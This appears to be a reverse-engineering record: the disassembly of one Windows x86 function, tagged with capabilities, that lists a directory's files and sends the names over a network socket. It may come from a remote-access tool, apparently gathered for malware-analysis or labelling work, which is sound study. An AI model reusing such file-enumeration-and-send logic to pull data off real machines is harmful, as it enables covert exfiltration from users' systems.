Function at 0x40b520
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58cc00
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x99c8
call fcn.00562d70
mov eax, dword [0x5f0e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x800
lea eax, [ebp - 0x830]
mov ecx, 0x201
lea esi, [ebx + 8]
lea edi, [ebp - 0x11a8]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.005640c0
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x11a4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x831], al
test al, al
jne 0x40b590
lea edi, [ebp - 0x830]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x40b5b0
mov eax, dword [0x5d0e48]
xor esi, esi
mov dword [edi], eax
xor edi, edi
xor eax, eax
mov dword [ebp - 0x99c0], edi
mov dword [ebp - 0x99d4], edi
mov dword [ebp - 0x99d0], esi
mov dword [ebp - 0x99c4], eax
mov dword [ebp - 0x99cc], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x99bc], eax
cmp eax, 0xffffffff
je 0x40b72b
nop dword [eax + eax]
push 0x29
lea eax, [ebp - 0x85c]
push 0
push eax
call fcn.005640c0
add esp, 0xc
lea eax, [ebp - 0x9a0]
push eax
push dword [ebp - 0x99bc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40b719
test byte [ebp - 0x9a0], 0x10
mov ecx, 1
movzx eax, byte [ebp - 0x834]
cmovne eax, ecx
lea ecx, [ebp - 0x974]
mov byte [ebp - 0x834], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b663
sub ecx, edx
cmp ecx, 0x28
jae 0x40b610
xor ecx, ecx
mov al, byte [ebp + ecx - 0x974]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x85d], al
test al, al
jne 0x40b673
mov ecx, esi
mov eax, 0x63e7063f
sub ecx, edi
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x29a
jae 0x40b610
cmp esi, dword [ebp - 0x99c4]
je 0x40b6e9
movups xmm0, xmmword [ebp - 0x85c]
mov al, byte [ebp - 0x834]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x84c]
movups xmmword [esi + 0x10], xmm0
movq xmm0, qword [ebp - 0x83c]
movq qword [esi + 0x20], xmm0
mov byte [esi + 0x28], al
add esi, 0x29
mov dword [ebp - 0x99d0], esi
jmp 0x40b610
lea eax, [ebp - 0x85c]
push eax
push esi
lea ecx, [ebp - 0x99d4]
call fcn.0040da50
mov eax, dword [ebp - 0x99cc]
mov esi, dword [ebp - 0x99d0]
mov edi, dword [ebp - 0x99d4]
mov dword [ebp - 0x99c4], eax
jmp 0x40b610
push dword [ebp - 0x99bc]
mov dword [ebp - 0x99c0], edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xffffffffffffffff
push dword [0x5fa770]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esi, edi
mov eax, 0x63e7063f
imul esi
push 0x7fc
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul edi, eax, 0x29
lea eax, [ebp - 0x11a0]
push 0
push eax
mov dword [ebp - 0x99c8], edi
call fcn.005640c0
add esp, 0xc
mov dword [ebp - 0x11a8], 5
lea esi, [ebp - 0x17]
mov ecx, edi
test edi, edi
jns 0x40b7bb
neg ecx
mov dword [ebp - 0x99bc], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x99bc]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x99bc], eax
test eax, eax
jne 0x40b786
dec esi
mov byte [esi], 0x2d
jmp 0x40b7f0
mov dword [ebp - 0x99bc], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x99bc]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x99bc], eax
test eax, eax
jne 0x40b7c1
push ecx
lea eax, [ebp - 0x17]
push eax
push esi
lea ecx, [ebp - 0x84c]
call fcn.0040b410
mov edx, dword [ebp - 0x838]
lea eax, [ebp - 0x84c]
mov ecx, dword [ebp - 0x84c]
cmp edx, 0x10
cmovae eax, ecx
mov eax, dword [eax]
mov dword [ebp - 0x11a4], eax
jb 0x40b84c
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b842
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b95e
push edx
push ecx
call fcn.00561e8b
add esp, 8
push 0
push 0x804
lea eax, [ebp - 0x19ac]
mov ecx, 0x201
push eax
push dword [0x5fa534]
lea esi, [ebp - 0x11a8]
lea edi, [ebp - 0x19ac]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x8000
lea eax, [ebp - 0x99b4]
push 0
push eax
call fcn.005640c0
push dword [ebp - 0x99c8]
lea eax, [ebp - 0x99b4]
mov dword [ebp - 0x99b8], 5
push dword [ebp - 0x99c0]
push eax
call fcn.00563b40
add esp, 0x18
mov esi, 0x8004
xor edi, edi
push 0
push esi
lea eax, [ebp - 0x99b8]
add eax, edi
push eax
push dword [0x5fa534]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40b8f4
sub esi, eax
add edi, eax
test esi, esi
jg 0x40b8c3
push dword [0x5fa770]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, dword [ebp - 0x99c0]
test esi, esi
je 0x40b93e
mov ecx, dword [ebp - 0x99c4]
mov eax, 0x63e7063f
sub ecx, esi
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, eax, 0x29
mov eax, esi
cmp ecx, 0x1000
jb 0x40b934
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b95e
push ecx
push esi
call fcn.00561e8b
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00561e7d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005673a5
int3